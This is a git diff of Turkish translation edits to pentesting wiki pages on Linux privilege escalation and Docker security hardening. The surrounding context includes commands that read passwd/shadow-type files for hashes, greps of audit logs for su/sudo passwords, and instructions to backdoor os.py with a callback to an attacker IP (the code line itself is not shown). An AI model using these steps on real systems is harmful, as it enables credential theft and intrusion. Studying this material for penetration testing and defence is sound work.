@ -1159,7 +1163,7 @@ Dikkat edin ki, eğer `Host` `*` ise, kullanıcı farklı bir makineye geçtiği
|
||||
Dosya `/etc/ssh_config` bu **seçenekleri** **geçersiz kılabilir** ve bu yapılandırmayı izin verebilir veya reddedebilir.\
|
||||
Dosya `/etc/sshd_config` `AllowAgentForwarding` anahtar kelimesi ile ssh-agent yönlendirmesine **izin verebilir** veya **reddedebilir** (varsayılan izin ver).
|
||||
|
||||
Eğer Forward Agent'ın bir ortamda yapılandırıldığını bulursanız, **yetkileri artırmak için bunu kötüye kullanabileceğinizden** dolayı aşağıdaki sayfayı okuyun:
|
||||
Eğer Forward Agent'ın bir ortamda yapılandırıldığını bulursanız, **yetkileri artırmak için bunu kötüye kullanabileceğinizden** aşağıdaki sayfayı okuyun:
|
||||
|
||||
{{#ref}}
|
||||
ssh-forward-agent-exploitation.md
|
||||
@ -1177,7 +1181,7 @@ Herhangi bir garip profil betiği bulunursa, **hassas detaylar** için kontrol e
|
||||
|
||||
### Passwd/Shadow Dosyaları
|
||||
|
||||
OS'a bağlı olarak, `/etc/passwd` ve `/etc/shadow` dosyaları farklı bir isim kullanıyor olabilir veya bir yedeği olabilir. Bu nedenle, **hepsini bulmanız** ve **okuyup okuyamayacağınızı kontrol etmeniz** önerilir; dosyaların içinde **hash'ler** olup olmadığını görmek için:
|
||||
OS'a bağlı olarak, `/etc/passwd` ve `/etc/shadow` dosyaları farklı bir isim kullanıyor olabilir veya bir yedeği olabilir. Bu nedenle, **hepsini bulmanız** ve **okuyup okuyamayacağınızı kontrol etmeniz** önerilir, böylece dosyaların içinde **hash'ler** olup olmadığını görebilirsiniz:
|
||||
```bash
|
||||
#Passwd equivalent files
|
||||
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
|
||||
@ -1288,7 +1292,7 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam
|
||||
### Loglar
|
||||
|
||||
Logları okuyabiliyorsanız, **içlerinde ilginç/gizli bilgiler bulabilirsiniz**. Log ne kadar garip olursa, o kadar ilginç olacaktır (muhtemelen).\
|
||||
Ayrıca, bazı "**kötü**" yapılandırılmış (arka kapılı?) **denetim logları**, bu yazıda açıklandığı gibi, denetim logları içinde **şifreleri kaydetmenize** izin verebilir: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
|
||||
Ayrıca, bazı "**kötü**" yapılandırılmış (arka kapılı?) **denetim logları**, bu yazıda açıklandığı gibi, **denetim logları içinde şifreleri kaydetmenize** izin verebilir: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
|
||||
```bash
|
||||
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
|
||||
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
|
||||
@ -1315,7 +1319,7 @@ Bunların nasıl yapılacağını burada listelemeyeceğim ama ilgileniyorsanız
|
||||
|
||||
### Python kütüphanesi ele geçirme
|
||||
|
||||
Bir python scriptinin **nereden** çalıştırılacağını biliyorsanız ve o klasöre **yazabiliyorsanız** veya **python kütüphanelerini değiştirebiliyorsanız**, OS kütüphanesini değiştirebilir ve arka kapı ekleyebilirsiniz (python scriptinin çalıştırılacağı yere yazabiliyorsanız, os.py kütüphanesini kopyalayıp yapıştırın).
|
||||
Bir python betiğinin **nereden** çalıştırılacağını biliyorsanız ve o klasöre **yazabiliyorsanız** veya **python kütüphanelerini değiştirebiliyorsanız**, OS kütüphanesini değiştirebilir ve arka kapı ekleyebilirsiniz (python betiğinin çalıştırılacağı yere yazabiliyorsanız, os.py kütüphanesini kopyalayıp yapıştırın).
|
||||
|
||||
Kütüphaneyi **arka kapılamak** için os.py kütüphanesinin sonuna aşağıdaki satırı ekleyin (IP ve PORT'u değiştirin):
|
||||
```python
|
||||
@ -1352,9 +1356,9 @@ DEVICE=eth0
|
||||
```
|
||||
### **init, init.d, systemd ve rc.d**
|
||||
|
||||
Dizin `/etc/init.d`, **System V init (SysVinit)** için **script'lerin** bulunduğu yerdir, bu **klasik Linux servis yönetim sistemi**dir. Bu script'ler servisleri `başlatmak`, `durdurmak`, `yeniden başlatmak` ve bazen `reload` etmek için kullanılır. Bunlar doğrudan veya `/etc/rc?.d/` dizininde bulunan sembolik bağlantılar aracılığıyla çalıştırılabilir. Redhat sistemlerinde alternatif bir yol `/etc/rc.d/init.d`'dir.
|
||||
Dizin `/etc/init.d`, **System V init (SysVinit)** için **script'lerin** bulunduğu yerdir, bu **klasik Linux servis yönetim sistemi**dir. Bu script'ler servisleri `başlatmak`, `durdurmak`, `yeniden başlatmak` ve bazen `yenilemek` için kullanılır. Bunlar doğrudan veya `/etc/rc?.d/` dizininde bulunan sembolik bağlantılar aracılığıyla çalıştırılabilir. Redhat sistemlerinde alternatif bir yol `/etc/rc.d/init.d`'dir.
|
||||
|
||||
Diğer yandan, `/etc/init` **Upstart** ile ilişkilidir, bu Ubuntu tarafından tanıtılan daha yeni bir **servis yönetimi**dir ve servis yönetim görevleri için yapılandırma dosyaları kullanır. Upstart'a geçişe rağmen, SysVinit script'leri hala Upstart yapılandırmaları ile birlikte kullanılmaktadır çünkü Upstart'ta bir uyumluluk katmanı vardır.
|
||||
Diğer yandan, `/etc/init` **Upstart** ile ilişkilidir, bu Ubuntu tarafından tanıtılan daha yeni bir **servis yönetimi** sistemidir ve servis yönetim görevleri için yapılandırma dosyaları kullanır. Upstart'a geçişe rağmen, SysVinit script'leri hala Upstart yapılandırmaları ile birlikte kullanılmaktadır çünkü Upstart'ta bir uyumluluk katmanı vardır.
|
||||
|
||||
**systemd**, modern bir başlatma ve servis yöneticisi olarak ortaya çıkar, talep üzerine daemon başlatma, otomatik montaj yönetimi ve sistem durumu anlık görüntüleri gibi gelişmiş özellikler sunar. Dosyaları dağıtım paketleri için `/usr/lib/systemd/` ve yönetici değişiklikleri için `/etc/systemd/system/` dizinlerine organize eder, sistem yönetim sürecini kolaylaştırır.
|
||||
|
||||
@ -1396,9 +1400,9 @@ cisco-vmanage.md
|
||||
**Unix Yetki Yükseltme Kontrolü:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\
|
||||
**Linux Yetki Kontrol Aracı:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\
|
||||
**BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\
|
||||
**Kernelpop:** Linux ve MAC'teki kernel açıklarını listele [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\
|
||||
**Kernelpop:** Linux ve MAC'te kernel açıklarını listele [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\
|
||||
**Mestaploit:** _**multi/recon/local_exploit_suggester**_\
|
||||
**Linux Exploit Önerici:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\
|
||||
**Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\
|
||||
**EvilAbigail (fiziksel erişim):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\
|
||||
**Daha fazla script derlemesi**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)
|
||||
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## **Temel Docker Motoru Güvenliği**
|
||||
|
||||
**Docker motoru**, konteynerleri izole etmek için Linux çekirdeğinin **Namespaces** ve **Cgroups** özelliklerini kullanır ve temel bir güvenlik katmanı sunar. Ek koruma, **Capabilities dropping**, **Seccomp** ve **SELinux/AppArmor** ile sağlanarak konteyner izolasyonunu artırır. Bir **auth plugin** kullanıcı eylemlerini daha da kısıtlayabilir.
|
||||
**Docker motoru**, konteynerleri izole etmek için Linux çekirdeğinin **Namespaces** ve **Cgroups** özelliklerini kullanarak temel bir güvenlik katmanı sunar. Ek koruma, **Capabilities dropping**, **Seccomp** ve **SELinux/AppArmor** ile sağlanarak konteyner izolasyonunu artırır. Bir **auth plugin** kullanıcı eylemlerini daha da kısıtlayabilir.
|
||||
|
||||

|
||||
|
||||
@ -24,23 +24,23 @@ Ancak, Docker daemon'ını HTTP üzerinden açmak güvenlik endişeleri nedeniyl
|
||||
|
||||
Sunucunun kimliğini doğrulamak için sertifikalar kullanılır. Her iki yöntem için ayrıntılı örnekler için [**bu kılavuza**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/) bakın.
|
||||
|
||||
### Konteyner Görüntülerinin Güvenliği
|
||||
### Konteyner Görsellerinin Güvenliği
|
||||
|
||||
Konteyner görüntüleri özel veya genel depolarda saklanabilir. Docker, konteyner görüntüleri için birkaç depolama seçeneği sunar:
|
||||
Konteyner görselleri özel veya genel depolarda saklanabilir. Docker, konteyner görselleri için birkaç depolama seçeneği sunar:
|
||||
|
||||
- [**Docker Hub**](https://hub.docker.com): Docker'dan bir genel kayıt hizmeti.
|
||||
- [**Docker Registry**](https://github.com/docker/distribution): Kullanıcıların kendi kayıtlarını barındırmalarına olanak tanıyan açık kaynaklı bir proje.
|
||||
- [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Rol tabanlı kullanıcı kimlik doğrulaması ve LDAP dizin hizmetleri ile entegrasyon sunan Docker'ın ticari kayıt teklifi.
|
||||
|
||||
### Görüntü Tarama
|
||||
### Görsel Tarama
|
||||
|
||||
Konteynerler, ya temel görüntü nedeniyle ya da temel görüntünün üzerine kurulu yazılım nedeniyle **güvenlik açıklarına** sahip olabilir. Docker, konteynerlerin güvenlik taramasını yapan ve açıkları listeleyen **Nautilus** adlı bir proje üzerinde çalışıyor. Nautilus, her konteyner görüntü katmanını güvenlik açıkları deposu ile karşılaştırarak güvenlik açıklarını tanımlar.
|
||||
Konteynerler, ya temel görsel nedeniyle ya da temel görselin üzerine yüklenen yazılım nedeniyle **güvenlik açıklarına** sahip olabilir. Docker, konteynerlerin güvenlik taramasını yapan ve açıkları listeleyen **Nautilus** adlı bir proje üzerinde çalışmaktadır. Nautilus, her konteyner görsel katmanını güvenlik açıkları deposu ile karşılaştırarak güvenlik açıklarını tanımlar.
|
||||
|
||||
Daha fazla [**bilgi için bunu okuyun**](https://docs.docker.com/engine/scan/).
|
||||
|
||||
- **`docker scan`**
|
||||
|
||||
**`docker scan`** komutu, mevcut Docker görüntülerini görüntü adı veya kimliği kullanarak taramanıza olanak tanır. Örneğin, hello-world görüntüsünü taramak için aşağıdaki komutu çalıştırın:
|
||||
**`docker scan`** komutu, mevcut Docker görsellerini görsel adı veya kimliği kullanarak taramanıza olanak tanır. Örneğin, hello-world görselini taramak için aşağıdaki komutu çalıştırın:
|
||||
```bash
|
||||
docker scan hello-world
|
||||
|
||||
@ -75,7 +75,7 @@ Docker imaj imzalama, konteynerlerde kullanılan imajların güvenliğini ve bü
|
||||
- **Docker Content Trust**, imaj imzalamayı yönetmek için The Update Framework (TUF) tabanlı Notary projesini kullanır. Daha fazla bilgi için [Notary](https://github.com/docker/notary) ve [TUF](https://theupdateframework.github.io) sayfalarına bakın.
|
||||
- Docker içerik güvenini etkinleştirmek için `export DOCKER_CONTENT_TRUST=1` ayarını yapın. Bu özellik, Docker sürüm 1.10 ve sonrasında varsayılan olarak kapalıdır.
|
||||
- Bu özellik etkinleştirildiğinde, yalnızca imzalı imajlar indirilebilir. İlk imaj yüklemesi, kök ve etiketleme anahtarları için şifre belirlemeyi gerektirir; Docker ayrıca artırılmış güvenlik için Yubikey'i destekler. Daha fazla ayrıntı [burada](https://blog.docker.com/2015/11/docker-content-trust-yubikey/) bulunabilir.
|
||||
- İçerik güveni etkinken imzasız bir imaj çekmeye çalışmak, "No trust data for latest" hatası ile sonuçlanır.
|
||||
- İçerik güveni etkinken imzasız bir imaj çekmeye çalışmak, "No trust data for latest" hatasına yol açar.
|
||||
- İlk imaj yüklemesinden sonraki imaj yüklemeleri için, Docker imajı imzalamak üzere depo anahtarının şifresini ister.
|
||||
|
||||
Özel anahtarlarınızı yedeklemek için şu komutu kullanın:
|
||||
@ -100,10 +100,10 @@ Konteynerleştirilmiş ortamlarda, projeleri ve bunların süreçlerini izole et
|
||||
- **`unshare` Kullanımı**: Yeni ad alanları oluşturmak için `unshare` komutu (veya temel sistem çağrısı) kullanılır, bu da ek bir izolasyon katmanı sağlar. Ancak, Kubernetes bunu doğrudan engellemese de, Docker engeller.
|
||||
- **Sınırlama**: Yeni ad alanları oluşturmak, bir sürecin ana bilgisayarın varsayılan ad alanlarına geri dönmesine izin vermez. Ana bilgisayar ad alanlarına girmek için genellikle ana bilgisayarın `/proc` dizinine erişim gereklidir ve giriş için `nsenter` kullanılır.
|
||||
|
||||
**Kontrol Grupları (CGrupları)**
|
||||
**Kontrol Grupları (CGroups)**
|
||||
|
||||
- **Fonksiyon**: Öncelikle süreçler arasında kaynak tahsis etmek için kullanılır.
|
||||
- **Güvenlik Boyutu**: CGrupları kendileri izolasyon güvenliği sunmaz, yalnızca yanlış yapılandırıldığında yetkisiz erişim için istismar edilebilecek `release_agent` özelliği vardır.
|
||||
- **Güvenlik Boyutu**: CGruplar kendileri izolasyon güvenliği sunmaz, yalnızca yanlış yapılandırıldığında yetkisiz erişim için istismar edilebilecek `release_agent` özelliği vardır.
|
||||
|
||||
**Yetenek Düşürme**
|
||||
|
||||
@ -129,9 +129,9 @@ Bu, yetenekleri, syscalls'ı, dosyalara ve klasörlere erişimi azaltmanıza ola
|
||||
|
||||
### Namespaces
|
||||
|
||||
**Namespaces**, **çekirdek kaynaklarını** **bölümlere ayıran** Linux çekirdek özelliğidir; böylece bir **işlem** kümesi bir **kaynak** kümesini **görürken**, **diğer** bir **işlem** kümesi **farklı** bir kaynak kümesini görür. Bu özellik, bir kaynak ve işlem kümesi için aynı namespace'e sahip olarak çalışır, ancak bu namespace'ler farklı kaynaklara atıfta bulunur. Kaynaklar birden fazla alanda var olabilir.
|
||||
**Namespaces**, **çekirdek kaynaklarını** **bölümlere ayıran** Linux çekirdek özelliğidir; böylece bir **süreç** seti bir **kaynak** setini **görürken**, **diğer** bir **süreç** seti **farklı** bir kaynak setini görür. Bu özellik, bir kaynak ve süreç seti için aynı namespace'e sahip olarak çalışır, ancak bu namespace'ler farklı kaynaklara atıfta bulunur. Kaynaklar birden fazla alanda var olabilir.
|
||||
|
||||
Docker, konteyner izolasyonu sağlamak için aşağıdaki Linux çekirdek Namespaces'lerini kullanır:
|
||||
Docker, konteyner izolasyonu sağlamak için aşağıdaki Linux çekirdek Namespaces'ını kullanır:
|
||||
|
||||
- pid namespace
|
||||
- mount namespace
|
||||
@ -147,8 +147,8 @@ namespaces/
|
||||
|
||||
### cgroups
|
||||
|
||||
Linux çekirdek özelliği **cgroups**, bir dizi işlem arasında **cpu, bellek, io, ağ bant genişliği gibi kaynakları kısıtlama** yeteneği sağlar. Docker, belirli bir konteyner için kaynak kontrolü sağlayan cgroup özelliğini kullanarak konteynerler oluşturmanıza olanak tanır.\
|
||||
Aşağıda, kullanıcı alanı belleği 500m ile sınırlı, çekirdek belleği 50m ile sınırlı, cpu payı 512, blkioweight 400 olan bir konteyner oluşturulmuştur. CPU payı, konteynerin CPU kullanımını kontrol eden bir orandır. Varsayılan değeri 1024'tür ve 0 ile 1024 arasında bir aralığı vardır. Üç konteynerin 1024 CPU payı varsa, her bir konteyner CPU kaynak rekabeti durumunda %33'e kadar CPU alabilir. blkio-weight, konteynerin IO'sunu kontrol eden bir orandır. Varsayılan değeri 500'dür ve 10 ile 1000 arasında bir aralığı vardır.
|
||||
Linux çekirdek özelliği **cgroups**, bir dizi süreç arasında **cpu, bellek, io, ağ bant genişliği gibi kaynakları kısıtlama** yeteneği sağlar. Docker, belirli bir Konteyner için kaynak kontrolü sağlayan cgroup özelliğini kullanarak Konteynerler oluşturmanıza olanak tanır.\
|
||||
Aşağıda, kullanıcı alanı belleği 500m ile sınırlı, çekirdek belleği 50m ile sınırlı, cpu payı 512, blkioweight 400 olan bir Konteyner oluşturulmuştur. CPU payı, Konteyner’in CPU kullanımını kontrol eden bir orandır. Varsayılan değeri 1024'tür ve 0 ile 1024 arasında bir aralığı vardır. Üç Konteyner 1024 CPU payına sahipse, her Konteyner CPU kaynak rekabeti durumunda %33'e kadar CPU alabilir. blkio-weight, Konteyner’in IO'sunu kontrol eden bir orandır. Varsayılan değeri 500'dür ve 10 ile 1000 arasında bir aralığı vardır.
|
||||
```
|
||||
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
|
||||
```
|
||||
@ -194,9 +194,9 @@ apparmor.md
|
||||
|
||||
- **Etiketleme Sistemi**: SELinux, her işleme ve dosya sistemi nesnesine benzersiz bir etiket atar.
|
||||
- **Politika Uygulaması**: Bir işlem etiketinin sistem içindeki diğer etiketler üzerinde hangi eylemleri gerçekleştirebileceğini tanımlayan güvenlik politikalarını uygular.
|
||||
- **Konteyner İşlem Etiketleri**: Konteyner motorları konteyner işlemlerini başlattığında, genellikle sınırlı bir SELinux etiketi olan `container_t` atanır.
|
||||
- **Konteyner İşlem Etiketleri**: Konteyner motorları konteyner işlemlerini başlattığında, genellikle sınırlı bir SELinux etiketi, yaygın olarak `container_t` atanır.
|
||||
- **Konteyner İçindeki Dosya Etiketleme**: Konteyner içindeki dosyalar genellikle `container_file_t` olarak etiketlenir.
|
||||
- **Politika Kuralları**: SELinux politikası esasen `container_t` etiketine sahip işlemlerin yalnızca `container_file_t` olarak etiketlenmiş dosyalarla etkileşimde bulunmasını sağlar (okuma, yazma, yürütme).
|
||||
- **Politika Kuralları**: SELinux politikası esasen `container_t` etiketine sahip işlemlerin yalnızca `container_file_t` olarak etiketlenmiş dosyalarla etkileşimde bulunmasını sağlar.
|
||||
|
||||
Bu mekanizma, bir konteyner içindeki bir işlem tehlikeye girse bile, yalnızca karşılık gelen etiketlere sahip nesnelerle etkileşimde bulunmakla sınırlı kalmasını sağlar ve bu tür tehlikelerin potansiyel zararını önemli ölçüde sınırlar.
|
||||
|
||||
@ -219,7 +219,7 @@ authz-and-authn-docker-access-authorization-plugin.md
|
||||
|
||||
## Bir konteynerden DoS
|
||||
|
||||
Bir konteynerin kullanabileceği kaynakları düzgün bir şekilde sınırlamazsanız, tehlikeye giren bir konteyner, çalıştığı ana makineyi DoS yapabilir.
|
||||
Eğer bir konteynerin kullanabileceği kaynakları düzgün bir şekilde sınırlamıyorsanız, tehlikeye giren bir konteyner, çalıştığı ana makineyi DoS yapabilir.
|
||||
|
||||
- CPU DoS
|
||||
```bash
|
||||
@ -270,20 +270,20 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv
|
||||
```
|
||||
Daha fazla **`--security-opt`** seçeneği için kontrol edin: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration)
|
||||
|
||||
## Diğer Güvenlik Dikkatleri
|
||||
## Diğer Güvenlik Dikkate Alınması Gerekenler
|
||||
|
||||
### Gizli Bilgilerin Yönetimi: En İyi Uygulamalar
|
||||
|
||||
Gizli bilgileri doğrudan Docker imajlarına gömmekten veya ortam değişkenleri kullanmaktan kaçınmak çok önemlidir, çünkü bu yöntemler hassas bilgilerinizi `docker inspect` veya `exec` gibi komutlar aracılığıyla konteynere erişimi olan herkesin erişimine açar.
|
||||
Gizli bilgileri doğrudan Docker imajlarına gömmekten veya ortam değişkenleri kullanmaktan kaçınmak çok önemlidir, çünkü bu yöntemler hassas bilgilerinizi `docker inspect` veya `exec` gibi komutlar aracılığıyla konteynıra erişimi olan herkesin erişimine açar.
|
||||
|
||||
**Docker hacimleri**, hassas bilgilere erişim için önerilen daha güvenli bir alternatiftir. Bunlar, `docker inspect` ve günlükleme ile ilişkili riskleri azaltarak, bellek içinde geçici bir dosya sistemi olarak kullanılabilir. Ancak, kök kullanıcılar ve konteynere `exec` erişimi olanlar yine de gizli bilgilere erişebilir.
|
||||
**Docker hacimleri**, hassas bilgilere erişim için önerilen daha güvenli bir alternatiftir. Bunlar, `docker inspect` ve günlükleme ile ilişkili riskleri azaltarak, bellek içinde geçici bir dosya sistemi olarak kullanılabilir. Ancak, kök kullanıcılar ve konteynıra `exec` erişimi olanlar yine de gizli bilgilere erişebilir.
|
||||
|
||||
**Docker gizli bilgileri**, hassas bilgileri yönetmek için daha güvenli bir yöntem sunar. İmaj oluşturma aşamasında gizli bilgilere ihtiyaç duyan örnekler için, **BuildKit** yapı zamanı gizli bilgileri destekleyen verimli bir çözüm sunarak, yapı hızını artırır ve ek özellikler sağlar.
|
||||
|
||||
BuildKit'i kullanmak için üç şekilde etkinleştirilebilir:
|
||||
|
||||
1. Bir ortam değişkeni aracılığıyla: `export DOCKER_BUILDKIT=1`
|
||||
2. Komutları ön ekleyerek: `DOCKER_BUILDKIT=1 docker build .`
|
||||
2. Komutları önekleyerek: `DOCKER_BUILDKIT=1 docker build .`
|
||||
3. Docker yapılandırmasında varsayılan olarak etkinleştirerek: `{ "features": { "buildkit": true } }`, ardından Docker'ı yeniden başlatarak.
|
||||
|
||||
BuildKit, `--secret` seçeneği ile yapı zamanı gizli bilgilerin kullanılmasına olanak tanır ve bu gizli bilgilerin imaj oluşturma önbelleğine veya nihai imaja dahil edilmemesini sağlar, şu komutla:
|
||||
@ -311,34 +311,38 @@ Kubernetes ortamlarında, gizli bilgiler yerel olarak desteklenir ve [Helm-Secre
|
||||
|
||||
**gVisor**, Go dilinde yazılmış bir uygulama çekirdeğidir ve Linux sistem yüzeyinin önemli bir kısmını uygular. Uygulama ile ana makine çekirdeği arasında **izolasyon sınırı** sağlayan `runsc` adlı bir [Open Container Initiative (OCI)](https://www.opencontainers.org) çalışma zamanı içerir. `runsc` çalışma zamanı, Docker ve Kubernetes ile entegre olup, kumanda altındaki konteynerleri çalıştırmayı basit hale getirir.
|
||||
|
||||
{% embed url="https://github.com/google/gvisor" %}
|
||||
{{#ref}}
|
||||
https://github.com/google/gvisor
|
||||
{{#endref}}
|
||||
|
||||
### Kata Containers
|
||||
|
||||
**Kata Containers**, hafif sanal makinelerle güvenli bir konteyner çalışma zamanı oluşturmak için çalışan açık kaynaklı bir topluluktur. Bu sanal makineler, konteynerler gibi hissettiren ve performans gösteren, ancak **donanım sanallaştırma** teknolojisini ikinci bir savunma katmanı olarak kullanarak **daha güçlü iş yükü izolasyonu** sağlayan bir yapıdır.
|
||||
**Kata Containers**, hafif sanal makinelerle güvenli bir konteyner çalışma zamanı oluşturmak için çalışan açık kaynak topluluğudur. Bu sanal makineler, konteynerler gibi hissettiren ve performans gösteren, ancak **donanım sanallaştırması** teknolojisini ikinci bir savunma katmanı olarak kullanarak **daha güçlü iş yükü izolasyonu** sağlayan bir yapıdır.
|
||||
|
||||
{% embed url="https://katacontainers.io/" %}
|
||||
{{#ref}}
|
||||
https://katacontainers.io/
|
||||
{{#endref}}
|
||||
|
||||
### Özet İpuçları
|
||||
|
||||
- **`--privileged` bayrağını kullanmayın veya** [**Docker soketini konteyner içinde monte etmeyin**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Docker soketi, konteynerlerin başlatılmasına olanak tanır, bu nedenle ana makinenin tam kontrolünü ele geçirmenin kolay bir yoludur; örneğin, `--privileged` bayrağı ile başka bir konteyner çalıştırarak.
|
||||
- **`--privileged` bayrağını kullanmayın veya** [**Docker soketini konteyner içinde monte etmeyin**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Docker soketi, konteynerlerin başlatılmasına izin verir, bu nedenle ana makinenin tam kontrolünü ele geçirmenin kolay bir yoludur; örneğin, `--privileged` bayrağı ile başka bir konteyner çalıştırarak.
|
||||
- **Konteyner içinde root olarak çalışmayın.** [**Farklı bir kullanıcı kullanın**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **ve** [**kullanıcı ad alanları**](https://docs.docker.com/engine/security/userns-remap/)**.** Konteynerdeki root, kullanıcı ad alanları ile yeniden haritalanmadıkça ana makinedeki ile aynıdır. Sadece, esasen, Linux ad alanları, yetenekler ve cgroups tarafından hafifçe kısıtlanmıştır.
|
||||
- [**Tüm yetenekleri kaldırın**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) ve yalnızca gerekli olanları etkinleştirin** (`--cap-add=...`). Birçok iş yükü herhangi bir yetenek gerektirmez ve bunları eklemek, potansiyel bir saldırının kapsamını artırır.
|
||||
- [**“no-new-privileges” güvenlik seçeneğini kullanın**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) **süreçlerin daha fazla yetki kazanmasını önlemek için, örneğin suid ikili dosyaları aracılığıyla.**
|
||||
- [**“no-new-privileges” güvenlik seçeneğini kullanın**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) **sürecin daha fazla yetki kazanmasını önlemek için, örneğin suid ikili dosyaları aracılığıyla.**
|
||||
- [**Konteynere sunulan kaynakları sınırlayın**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Kaynak sınırları, makineyi hizmet reddi saldırılarından koruyabilir.
|
||||
- **Kısıtlamaları en aza indirmek için** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(veya SELinux)** profillerini ayarlayın.
|
||||
- **Resmi docker imajlarını kullanın** [**ve imzaları gerektirin**](https://docs.docker.com/docker-hub/official_images/) **veya bunlara dayanarak kendi imajınızı oluşturun.** Arka kapılı [**imajları**](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) miras almayın veya kullanmayın. Ayrıca, root anahtarlarını ve şifrelerini güvenli bir yerde saklayın. Docker, anahtarları UCP ile yönetmeyi planlıyor.
|
||||
- **Resmi docker imajlarını kullanın** [**ve imza gerektirin**](https://docs.docker.com/docker-hub/official_images/) **veya bunlara dayanarak kendi imajınızı oluşturun.** [**Arka kapılı**](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) imajları miras almayın veya kullanmayın. Ayrıca, root anahtarlarını ve şifreleri güvenli bir yerde saklayın. Docker, anahtarları UCP ile yönetmeyi planlıyor.
|
||||
- **Düzenli olarak** **imajlarınızı yeniden oluşturun** **güvenlik yamalarını ana makineye ve imajlara uygulamak için.**
|
||||
- **Gizli bilgilerinizi akıllıca yönetin** böylece saldırganın bunlara erişmesi zor olur.
|
||||
- **Gizli bilgilerinizi akıllıca yönetin** böylece saldırganların bunlara erişmesi zor olur.
|
||||
- Eğer **docker daemon'ı açığa çıkarıyorsanız HTTPS kullanın** istemci ve sunucu kimlik doğrulaması ile.
|
||||
- Dockerfile'ınızda, **ADD yerine COPY'yi tercih edin**. ADD, otomatik olarak sıkıştırılmış dosyaları çıkarır ve URL'lerden dosya kopyalayabilir. COPY bu yeteneklere sahip değildir. Mümkün olduğunda, uzaktan URL'ler ve Zip dosyaları aracılığıyla saldırılara maruz kalmamak için ADD kullanmaktan kaçının.
|
||||
- Her mikro hizmet için **ayrı konteynerler** oluşturun.
|
||||
- **Konteyner içinde ssh** bulundurmayın, "docker exec" kullanılarak konteynere ssh yapılabilir.
|
||||
- **Konteyner içinde ssh bulundurmayın**, "docker exec" kullanılarak konteynere ssh yapılabilir.
|
||||
- **Daha küçük** konteyner **imajlarına sahip olun.**
|
||||
|
||||
## Docker Breakout / Yetki Yükseltme
|
||||
|
||||
Eğer **bir docker konteynerinin içindeyseniz** veya **docker grubunda** bir kullanıcıya erişiminiz varsa, **kaçmayı ve yetkileri yükseltmeyi** deneyebilirsiniz:
|
||||
Eğer **bir docker konteynerinin içindeyseniz** veya **docker grubunda bir kullanıcıya erişiminiz varsa**, **kaçmayı ve yetkileri yükseltmeyi** deneyebilirsiniz:
|
||||
|
||||
{{#ref}}
|
||||
docker-breakout-privilege-escalation/
|
||||
@ -346,7 +350,7 @@ docker-breakout-privilege-escalation/
|
||||
|
||||
## Docker Kimlik Doğrulama Eklentisi Atlatma
|
||||
|
||||
Eğer docker soketine erişiminiz varsa veya **docker grubunda** bir kullanıcıya erişiminiz varsa ancak eylemleriniz bir docker kimlik doğrulama eklentisi tarafından kısıtlanıyorsa, **bunu atlatıp atlatamayacağınıza bakın:**
|
||||
Eğer docker soketine erişiminiz varsa veya **docker grubunda bir kullanıcıya erişiminiz varsa ancak eylemleriniz bir docker kimlik doğrulama eklentisi tarafından kısıtlanıyorsa**, bunu **atlatıp atlatamayacağınıza bakın:**
|
||||
|
||||
{{#ref}}
|
||||
authz-and-authn-docker-access-authorization-plugin.md
|
||||
@ -355,7 +359,7 @@ authz-and-authn-docker-access-authorization-plugin.md
|
||||
## Docker'ı Güçlendirme
|
||||
|
||||
- [**docker-bench-security**](https://github.com/docker/docker-bench-security) aracı, üretimde Docker konteynerlerini dağıtma ile ilgili birçok yaygın en iyi uygulamayı kontrol eden bir betiktir. Testler tamamen otomatik olup, [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/) temel alınarak yapılmaktadır.\
|
||||
Aracı, docker'ı çalıştıran ana makineden veya yeterli yetkiye sahip bir konteynerden çalıştırmanız gerekir. **README'de nasıl çalıştırılacağını öğrenin:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
|
||||
